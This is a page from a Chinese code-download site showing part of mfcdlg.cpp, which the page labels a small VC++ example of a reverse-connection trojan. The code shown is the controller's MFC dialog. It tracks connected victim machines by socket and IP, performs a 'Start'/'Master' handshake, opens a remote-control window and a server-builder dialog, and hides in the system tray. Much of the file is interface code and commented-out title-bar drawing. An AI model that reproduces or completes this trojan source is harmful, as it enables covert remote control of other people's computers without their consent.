⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mfcdlg.cpp

📁 一个用vc写的反弹式木马的小例子
💻 CPP
📖 第 1 页 / 共 2 页
字号:

void CMFCDlg::OnActiveFuc() 
{
	// TODO: Add your command handler code here
	CString	TIP;
	SOCKET	sock = FindSocket(&TIP);

	if ( sock == INVALID_SOCKET )
	{

		int  index = m_List.GetNextItem(-1,LVNI_SELECTED);
	//	index = index - 1;
		m_List.DeleteItem(index);
		AfxMessageBox("本服务端可能已经下线");
		return;
	}

	if ( FindActiveWindow(CurID) )
		return;

	if ( /*TestSocket (sock) &&*/StartService(sock) )
	{
		CControlDlg *dlgAbout = new CControlDlg;
		dlgAbout->sock = sock;
		dlgAbout->strCKIP = TIP;
		dlgAbout->sid = CurID;
		dlgAbout ->Create(IDD_DIALOG_ACT,this);
		dlgAbout->ShowWindow(SW_SHOW);
		AddToActiveList(CurID,dlgAbout);
	}
	else
	{
		int  index = m_List.GetNextItem(-1,LVNI_SELECTED);
		m_List.DeleteItem(index);
		AfxMessageBox("本服务端可能已经下线");
	}
		/*
		GLOBALHANDLE  h = GlobalAlloc (GMEM_MOVEABLE | GMEM_ZEROINIT | GMEM_SHARE, 10);
		char*	p =(char*) GlobalLock ( h );
		memcpy(p,"111111",6);
		dlgAbout->m_Output.SetHandle(h);
		memcpy(p,"\r\rkkkkkkk",6);
		p[0] = 0x0D;
		p[1] = 0x00;
		dlgAbout->m_Output.SetHandle(h);
		GlobalUnlock(h);  */

		/*
	dlgAbout->m_Output.Paste();
	GLOBALHANDLE  h = dlgAbout->m_Output.GetHandle();
	char*	p =(char*) GlobalLock ( h );
	AfxMessageBox(p);
	*/


//	Sleep(5000);
//	dlgAbout->m_Output.Paste();

//	dlgAbout->m_Output.SetReadOnly();
	
}

SOCKET CMFCDlg::FindSocket(CString *str)
{

		int curNum = atoi(CurID);
	TRACE("\ncurNum = %d",curNum);
	if ( ListHead == NULL )
		return INVALID_SOCKET;

	ListCK* Th = ListHead;
	while ( Th )
	{
		//TRACE("\nListHead -> uID = %d",ListHead -> uID);
		if ( Th -> uID == curNum )
		{
			DWORD	dwIP = Th->dwIP;
			char* p	= inet_ntoa(*(struct in_addr*)&dwIP);
			*str = p; 
			return Th->sock;
		}
		else	Th = Th->Next;
	}
	return	INVALID_SOCKET;
}
BOOL CMFCDlg::StartService(SOCKET	sock)
{
	int oldopt = 0;
	int len = sizeof(int);
	int ret = getsockopt (sock,SOL_SOCKET, SO_RCVTIMEO,(char*)&oldopt,&len);
	if ( ret == -1 )
		return	FALSE;

	int newopt = 3000;
	ret = setsockopt (sock,SOL_SOCKET, SO_RCVTIMEO,(char*)&newopt,len);
	if ( ret == -1 )
		return	FALSE;

	ret = send(sock,"Start",5,0);
	if ( ret != 5 )
		return	FALSE;
	char	buf[64]={0};
	ret = recv(sock,buf,64,0);

	TRACE("\nRECV = %s",buf);
	if ( ret != 6 )
		return	FALSE;

	ret = strcmp(buf,"Master");
	if ( ret != 0 )
		return	FALSE;

	ret = setsockopt (sock,SOL_SOCKET, SO_RCVTIMEO,(char*)&oldopt,len);
	if ( ret == -1 )
		return	FALSE;

	return	TRUE;
}
//在托盘中显示
void CMFCDlg::AddTray()
{
	NOTIFYICONDATA nid = {0};
	nid.cbSize = sizeof(NOTIFYICONDATA);
	nid.hWnd = GetSafeHwnd();
	nid.uID = 1;
	nid.uFlags = NIF_ICON|NIF_MESSAGE|NIF_TIP;
	nid.uCallbackMessage = WM_ICONNOTIFY;
	nid.hIcon =AfxGetApp()->LoadIcon( IDR_MAINFRAME );
	strcpy(nid.szTip, "远程控制软件");
	Shell_NotifyIcon(NIM_ADD, &nid);

}
//托盘控制的消息--这个消息是自己定义的-----
void CMFCDlg::OnTrayPro(WPARAM uID, LPARAM lEvent)
{
	if ( lEvent == WM_LBUTTONDBLCLK )
		ShowWindow(SW_SHOWNORMAL);
	else if ( lEvent == WM_RBUTTONDOWN )
	{
		CMenu menu;
		menu.LoadMenu ( IDR_MENU );
		CMenu* pMenu=menu.GetSubMenu(0);
		CPoint pos;
		GetCursorPos(&pos);

		pMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTBUTTON,pos.x,pos.y,AfxGetMainWnd());

	}
	
}

void CMFCDlg::OnClose() 
{
	// TODO: Add your message handler code here and/or call default
	
	if ( bQuit == TRUE )
	{
		PostQuitMessage(0);
	}
	else
		AnimateWindow(GetSafeHwnd(),1000,AW_HIDE|AW_CENTER);
		ShowWindow(SW_HIDE);
}
/*
void CMFCDlg::OnDisplayFunc() 
{
	// TODO: Add your command handler code here
	ShowWindow(SW_SHOWNORMAL);
}

void CMFCDlg::OnNDisplayFunc() 
{
	// TODO: Add your command handler code here
	ShowWindow(SW_HIDE);
}
*/
void CMFCDlg::OnQuitFunc() 
{
	// TODO: Add your command handler code here
	bQuit = TRUE;
	AnimateWindow(GetSafeHwnd(),1000,AW_HIDE|AW_CENTER);
	OnClose();
}

void CMFCDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult) 
{
	// TODO: Add your control notification handler code here
	
	int curnum = m_List.GetNextItem(-1,LVNI_SELECTED);
//	TRACE("=======%d\n",curnum);
	CString Tid = m_List.GetItemText(curnum,0);
	if ( Tid != "" )
	{
		CurID = Tid;
		CMenu menu;
		menu.LoadMenu ( IDR_MENU );
		CMenu* pMenu=menu.GetSubMenu(1);
		CPoint pos;
		GetCursorPos(&pos);
		pMenu->TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTBUTTON,pos.x,pos.y,AfxGetMainWnd());

		*pResult = 0;
	}
}

void CMFCDlg::OnCreate() 
{
	// TODO: Add your command handler code here
	server.DoModal();
}
	CAboutDlg about;
void CMFCDlg::OnAboutbox() 
{
	// TODO: Add your command handler code here
	about.DoModal ();
}
/*
void CMFCDlg::DrawTitleBar(CDC *pDC)
{

		if (m_hWnd)
	{
		CBrush Brush(RGB(143,215,108));
		CBrush* pOldBrush = pDC->SelectObject(&Brush);
       
		CRect rtWnd, rtTitle, rtButtons;
		GetWindowRect(&rtWnd); 
		//取得标题栏的位置
		rtTitle.left = GetSystemMetrics(SM_CXFRAME);
		rtTitle.top = GetSystemMetrics(SM_CYFRAME);
		rtTitle.right = rtWnd.right - rtWnd.left - GetSystemMetrics(SM_CXFRAME);
		rtTitle.bottom = rtTitle.top + GetSystemMetrics(SM_CYSIZE);

		CPoint point;
		//填充顶部框架
		point.x = rtWnd.Width();
		point.y = GetSystemMetrics(SM_CYSIZE) + GetSystemMetrics(SM_CYFRAME);
		pDC->PatBlt(0, 0, point.x, point.y, PATCOPY);
		//填充左侧框架
		point.x = GetSystemMetrics(SM_CXFRAME) + 1;
		point.y = rtWnd.Height();
		pDC->PatBlt(0, 0, point.x, point.y, PATCOPY);
		//填充底部框架
		point.x = rtWnd.Width(); 
		point.y = GetSystemMetrics(SM_CYFRAME) + 2;
		pDC->PatBlt(0, rtWnd.Height()-point.y, point.x, point.y, PATCOPY);
		//填充右侧框架
		point.x = GetSystemMetrics(SM_CXFRAME) + 1;
		point.y = rtWnd.Height();
		pDC->PatBlt(rtWnd.Width()-point.x, 0, point.x, point.y, PATCOPY);
	

		//绘制美化线条
		
		//重画图标
		m_rtIcon.left = rtWnd.Width() - 135;
		m_rtIcon.top = GetSystemMetrics(SM_CYFRAME);
		m_rtIcon.right = m_rtIcon.left + 20;
		m_rtIcon.bottom = m_rtIcon.top + 19;
		::DrawIconEx(pDC->m_hDC, m_rtIcon.left, m_rtIcon.top, m_hIcon, 
		m_rtIcon.Width(), m_rtIcon.Height(), 0, NULL, DI_NORMAL);
		m_rtIcon.OffsetRect(rtWnd.TopLeft()); 
				//准备画XP风格按钮
		CBitmap* pBitmap = new CBitmap;
		CBitmap* pOldBitmap;
		CDC* pDisplayMemDC=new CDC;
		pDisplayMemDC->CreateCompatibleDC(pDC);
      //重画关闭button
		rtButtons.left = rtTitle.right - 19;
		rtButtons.top = rtTitle.top;
		rtButtons.right = rtButtons.left + 19;
		rtButtons.bottom = rtButtons.top + 19;
		pBitmap->LoadBitmap(IDB_EXIT_NORMAL);
		pOldBitmap=(CBitmap*)pDisplayMemDC->SelectObject(pBitmap);
		pDC->BitBlt(rtButtons.left, rtButtons.top, rtButtons.Width(), rtButtons.Height(), pDisplayMemDC, 0, 0, SRCCOPY);
		pDisplayMemDC->SelectObject(pOldBitmap);
		m_rtButtExit = rtButtons;
		m_rtButtExit.OffsetRect(rtWnd.TopLeft()); 
		pBitmap->DeleteObject();
//重画caption
		int nOldMode = pDC->SetBkMode(TRANSPARENT);
		COLORREF clOldText=pDC->SetTextColor(RGB(208, 155, 47));
		pDC->SelectStockObject(SYSTEM_FIXED_FONT);
		rtTitle.left += 2;
		rtTitle.top += GetSystemMetrics(SM_CYSIZE);
		rtTitle.bottom = rtTitle.top+1;
		CString m_strTitle;
		GetWindowText(m_strTitle);
		pDC->DrawText(m_strTitle, &rtTitle, DT_LEFT);
		pDC->SetBkMode(nOldMode);
		pDC->SetTextColor(clOldText);
			ReleaseDC(pDisplayMemDC);
		delete pDisplayMemDC;
		delete pBitmap;
	}
}

*/
/*
LRESULT CMFCDlg::DefWindowProc(UINT message, WPARAM wParam, LPARAM lParam) 
{
	// TODO: Add your specialized code here and/or call the base class
	LRESULT lrst=CDialog::DefWindowProc(message, wParam, lParam);
	
	if (!::IsWindow(m_hWnd))
		return lrst;
	
	if (message==WM_MOVE||message==WM_PAINT||message==WM_NCPAINT||message==WM_NCACTIVATE ||message == WM_NOTIFY)
	{
		CDC* pWinDC = GetWindowDC();
		if (pWinDC)
			DrawTitleBar(pWinDC);
		ReleaseDC(pWinDC);
	}
	return lrst;
	//return CDialog::DefWindowProc(message, wParam, lParam);
}
*/

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -